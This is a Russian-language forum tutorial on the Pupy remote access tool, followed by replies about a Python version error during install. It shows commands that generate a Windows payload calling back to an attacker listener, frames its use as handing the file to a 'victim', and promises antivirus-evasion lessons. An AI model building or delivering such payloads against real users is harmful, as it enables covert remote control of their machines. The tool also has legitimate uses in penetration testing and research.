PUPY Remote Administration Tool (RAT)

Сегодня посмотрим ,на мой взгляд , довольно таки не плохой мультиплатформенный RAT на питоне c очень большим функционалом.

Pupy может использовать различные протоколы шифрования для комуникации с жертвой (SSL,HTTP,RSA,obfs3,scramblesuit), мигрировать в процессы (reflective injection), подгружать удаленные python скрипты, python пакеты и python C-extensions из оперативной памяти.
Pupy может создавать payloads в различных форматах ,таких как PE executables, reflective DLLs, python files, powershell, apk, ...

После тестирования данного продукта мне он напомнил что то общее между meterpreter и модулями из PowerShell Empire Framework ,как интерфейсом так и модулями которые разработчики вложили в сей продукт.

Я считаю что его можно отлично использовать для:
  • security research
  • обучения
  • пентестинга
  • администрирования
И так давайте все же познакомимся с ним по ближе.
Создаем PAYLOAD
Ну для начала скачаем все же и установим зависимости(я делаk на Kali Linux):
Код:
git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
git submodule update --init --depth 1 pupy/payload_templates
git submodule init
git submodule update
pip install -r requirements.txt

Дальше идем в папку pupy и там нас пока что интересуют только два файла:
pupygen.py -сам билдер(генератор) так сказать и pupysh.py сама серверная часть,консоль управления.
6.jpg

Я попытаюсь кратко описать функционал,иначе статья будет очень длинная. Одна из фишек этой тулзы это транспорты и скриплеты которые позволяют выбирать тип шифрования трафика ,а скриплеты позволяют запустить какой то модуль сразу же при старте вредоноса(например кейлоггер) Посмотреть список скриплетов и транспортов можно командой
Код:
 python pupygen.py -l
5.jpg

Cгенерировать бинарник под виндоус систему можно следующей командой:
Код:
./pupygen.py -f exe_x86 -o ~/DarkNode.exe connect --host 192.168.137.137:443
1.png

После этого парим жертве(правда он скорее всего спалится антивирусом,но в следующих статья я научу его вас обходить,это ознакомительная часть)

Дальше все очень похоже на метерпретер сессию метаслоита:
Открываем сессию командой
Код:
session -i 1
пользуемся командамы
help
list_modules
run module_name -h

8.jpg

9.jpg

10.png

11.jpg

Спасибо за внимания.C Вами был DarkNode)
 
привет всем. ребят, ну вот ни как не получается установить Pupy... или же запускается с ошибками....
python pupygen.py -l
Traceback (most recent call last):
File "pupygen.py", line 27, in <module>
import pylzma
ImportError: No module named pylzma
Скрипт намекает, что нужно доставить pylzma.
 
Скрипт намекает, что нужно доставить pylzma.
я как раз этим и занмимаюсь и ни как не получается
pip install pylzma
Requirement already satisfied: pylzma in ./.local/lib/python3.9/site-packages (0.5.0)
python pupygen.py -l
Traceback (most recent call last):
File "pupygen.py", line 27, in <module>
import pylzma
ImportError: No module named pylzma
 
Последнее редактирование:
я как раз этим и занмимаюсь и ни как не получается
pip install pylzma
Requirement already satisfied: pylzma in ./.local/lib/python3.9/site-packages (0.5.0)
python pupygen.py -l
Traceback (most recent call last):
File "pupygen.py", line 27, in <module>
import pylzma
ImportError: No module named pylzma
Покажите "python --version"
И попробуйте "python3 pupygen.py -l"
 
Покажите "python --version"
И попробуйте "python3 pupygen.py -l"
python3 pupygen.py -l
File "/home/home/pupy/pupy/pupygen.py", line 221
os.chmod(os.path.join(root, dir), 0700)
^
SyntaxError: leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers
python --version
Python 2.7.18
 
Последнее редактирование:
python3 pupygen.py -l
File "/home/home/pupy/pupy/pupygen.py", line 221
os.chmod(os.path.join(root, dir), 0700)
^
SyntaxError: leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers
python --version
Python 2.7.18
У тебя дефолтный python2, а пакет ты ставишь под третий.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab